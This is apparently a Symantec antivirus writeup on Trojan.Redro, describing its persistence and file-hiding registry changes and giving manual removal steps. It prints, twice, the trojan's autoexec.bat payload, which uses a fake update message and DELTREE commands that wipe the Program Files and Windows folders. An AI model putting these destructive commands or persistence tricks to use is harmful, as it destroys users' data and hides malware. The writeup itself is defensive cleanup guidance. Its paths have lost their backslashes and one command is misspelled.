Trojan.Redro

SUMMARY

Trojan.Redro is a Trojan Horse that attempts to delete files and make minor modifications to the registry.

This Trojan is written in the Borland Delphi programming language and is compressed with UPX.

Protection

• Virus Definitions (LiveUpdate™ Weekly) September 24, 2003
• Virus Definitions (Intelligent Updater) September 24, 2003

TECHNICAL DETAILS

When Trojan.Redro is executed, it does the following:

1. Copies itself as %System%Syssrv.exe.
   
   

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   Note: %System% is a variable. The Trojan locates the System folder and copies itself to that location. By default, this is C:WindowsSystem (Windows 95/98/Me), C:WinntSystem32 (Windows NT/2000), or C:WindowsSystem32 (Windows XP).

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2. Adds a value:
   
   "System Services"="%System%syssrv.exe -run"
   
   to the registry key:
   
   HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
   
   
3. Adds a value:
   
   "BootCtr"
   
   to the registry key:
   
   HKEY_LOCAL_MACHINESOFTWAREMicrosoftDirectX
   
   
4. Set the values:
   
   "HideFileExt"="1"
   "Hidden"="1"
   
   in the registry key:
   
   HKEY_CURRENT_USERSoftwareMicrosoftWindosCurrentVersionExplorerAdvanced
   
   
5. Deletes the registry keys:
   
   • HKEY_LOCAL_MACHINESOFTWARECLASSESscrfileshellconfig
   • HKEY_LOCAL_MACHINESOFTWARECLASSESscrfileshellinstall
     
     
6. Creates a Hidden, read-only system file, named Hallo.Roro.htt, under the startup folder.
   
   

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   Note: This file is a text file and is not viral by itself. Therefore, Symantec antivirus products do not detect it. You should manually delete it if the Trojan infected your system.

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7. Launches Notepad.exe.
8. May copy itself to the %Startup% folder as Roro.scr.
   
   

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   Note: %Startup% is a variable. The Trojan locates the Windows Startup folder for the currently logged-on user, and copies the files to that location.

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9. Attempts to delete the C:PROGRA~1 and C:WINDOWS folders and their contents by adding the following text to the Autoexec.bat file:
   
   @echo off
   Echo Windows is updating file(s) Please wait....
   SMARTDRV > nul
   DELTREE /Y C:PROGRA~1 > nul
   DELTREE /Y C:WINDOWS > nul
   DEL C:AUTOEXEC.BAT > nul
   
   

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   Note: Due to bugs in the code, the folders may not be deleted.

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Recommendations

Symantec Security Response encourages all users and administrators to adhere to the following basic security "best practices":

• Turn off and remove unneeded services. By default, many operating systems install auxiliary services that are not critical, such as an FTP server, telnet, and a Web server. These services are avenues of attack. If they are removed, blended threats have less avenues of attack and you have fewer services to maintain through patch updates.
• If a blended threat exploits one or more network services, disable, or block access to, those services until a patch is applied.
• Always keep your patch levels up-to-date, especially on computers that host public services and are accessible through the firewall, such as HTTP, FTP, mail, and DNS services (for example, all Windows-based computers should have the current Service Pack installed.). Additionally, please apply any security updates that are mentioned in this writeup, in trusted Security Bulletins, or on vendor Web sites.
• Enforce a password policy. Complex passwords make it difficult to crack password files on compromised computers. This helps to prevent or limit damage when a computer is compromised.
• Configure your email server to block or remove email that contains file attachments that are commonly used to spread viruses, such as .vbs, .bat, .exe, .pif and .scr files.
• Isolate infected computers quickly to prevent further compromising your organization. Perform a forensic analysis and restore the computers using trusted media.
• Train employees not to open attachments unless they are expecting them. Also, do not execute software that is downloaded from the Internet unless it has been scanned for viruses. Simply visiting a compromised Web site can cause infection if certain browser vulnerabilities are not patched.

REMOVAL

The following instructions pertain to all current and recent Symantec antivirus products, including the Symantec AntiVirus and Norton AntiVirus product lines.

1. Disable System Restore (Windows Me/XP).
2. Update the virus definitions.
3. Run a full system scan and delete all the files detected as Trojan.Redro.
4. Delete the value that was added to the registry.
5. Edit the Autoexec.bat file.
   

For specific details on each of these steps, read the following instructions.

1. Disabling System Restore (Windows Me/XP)
If you are running Windows Me or Windows XP, we recommend that you temporarily turn off System Restore. Windows Me/XP uses this feature, which is enabled by default, to restore the files on your computer in case they become damaged. If a virus, worm, or Trojan infects a computer, System Restore may back up the virus, worm, or Trojan on the computer.

Windows prevents outside programs, including antivirus programs, from modifying System Restore. Therefore, antivirus programs or tools cannot remove threats in the System Restore folder. As a result, System Restore has the potential of restoring an infected file on your computer, even after you have cleaned the infected files from all the other locations.

Also, a virus scan may detect a threat in the System Restore folder even though you have removed the threat.

For instructions on how to turn off System Restore, read your Windows documentation, or one of the following articles:

• "How to disable or enable Windows Me System Restore"
• "How to turn off or turn on Windows XP System Restore"

For additional information, and an alternative to disabling Windows Me System Restore, see the Microsoft Knowledge Base article, "Antivirus Tools Cannot Clean Infected Files in the _Restore Folder," Article ID: Q263455.

2. Updating the virus definitions
Symantec Security Response fully tests all the virus definitions for quality assurance before they are posted to our servers. There are two ways to obtain the most recent virus definitions:

• Running LiveUpdate, which is the easiest way to obtain virus definitions: These virus definitions are posted to the LiveUpdate servers once each week (usually on Wednesdays), unless there is a major virus outbreak. To determine whether definitions for this threat are available by LiveUpdate, refer to the Virus Definitions (LiveUpdate).
• Downloading the definitions using the Intelligent Updater: The Intelligent Updater virus definitions are posted on U.S. business days (Monday through Friday). You should download the definitions from the Symantec Security Response Web site and manually install them. To determine whether definitions for this threat are available by the Intelligent Updater, refer to the Virus Definitions (Intelligent Updater).
  
  The Intelligent Updater virus definitions are available: Read "How to update virus definition files using the Intelligent Updater" for detailed instructions.

3. Scanning for and deleting the infected files

1. Start your Symantec antivirus program and make sure that it is configured to scan all the files.
   • For Norton AntiVirus consumer products: Read the document, "How to configure Norton AntiVirus to scan all files."
   • For Symantec AntiVirus Enterprise products: Read the document, "How to verify that a Symantec Corporate antivirus product is set to scan all files."
2. Run a full system scan.
3. If any files are detected as infected with Trojan.Redro, click Delete.

4. Deleting the value from the registry

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WARNING: Symantec strongly recommends that you back up the registry before making any changes to it. Incorrect changes to the registry can result in permanent data loss or corrupted files. Modify the specified keys only. Read the document, "How to make a backup of the Windows registry," for instructions.

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1. Click Start, and then click Run. (The Run dialog box appears.)
   
   
2. Type: notepad
   
   and click OK. (Notepad opens a text file.)
   
   
3. Type, or copy and paste, the following text into the text file:
   
   REGEDIT4
   
   [HKEY_LOCAL_MACHINESOFTWAREClassesscrfileshellconfig]
   @="C&onfigure"
   
   [HKEY_LOCAL_MACHINESOFTWAREClassesscrfileshellconfigcommand]
   @="%1"
   
   [HKEY_LOCAL_MACHINESOFTWAREClassesscrfileshellinstall]
   @="&Install"
   
   [HKEY_LOCAL_MACHINESOFTWAREClassesscrfileshellinstallcommand]
   @="rundll32.exe desk.cpl,InstallScreenSaver %l"
   
   

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   Note: The last three characters of this text are: percent - lowercase L - quote.

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4. Save the file as:
   
   repair.reg
   
   in the root folder (usually C:).
   
   
5. Click Start, and then click Run.
   
   
6. Type:
   
   regedit -s epair.reg
   
   and then click OK.
   
   
7. Type regedit
   
   Then click OK. (The Registry Editor opens.)
   
   
8. Navigate to the key:
   
   HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
   
   
9. In the right pane, delete the value:
   
   "System Services"="%System%syssrv.exe -run"
   
   
10. Navigate to the key:
    
    HKEY_LOCAL_MACHINESOFTWAREMicrosoftDirectX
    
    
11. In the right pane, delete the value:
    
    "BootCtr"
    
    
12. Exit the Registry Editor.

5. Editing the Autoexec.bat file
If you are running Windows 95/98/Me, follow these steps:

1. The function you perform depends on your operating system:
   • Windows 95/98: Go to step b.
   • Windows Me: If you are running Windows Me, the Windows Me file-protection process may have made a backup copy of the Autoexec.bat file that you need to edit. If this backup copy exists, it will be in the C:WindowsRecent folder. Symantec recommends that you delete this file before continuing with the steps in this section. To do this:
     1. Start Windows Explorer.
     2. Browse to and select the C:WindowsRecent folder.
     3. In the right pane, select the Autoexec.bat file and delete it. The Autoexec.bat file will be regenerated when you save your changes to it in step f.
        
2. Click Start, and then click Run.
3. Type the following, and then click OK.
   
   edit c:autoexec.bat
   
   (The MS-DOS Editor opens.)
   
   NOTE: If Windows is installed in a different location, make the appropriate path substitution.
   
   
4. Delete the following lines of text:
   
   @echo off
   Echo Windows is updating file(s) Please wait....
   SMARTDRV > nul
   DELTREE /Y C:PROGRA~1 > nul
   DELTREE /Y C:WINDOWS > nul
   DEL C:AUTOEXEC.BAT > nul
   
   
5. Click File, and then click Save.
6. Click File, and then click Exit.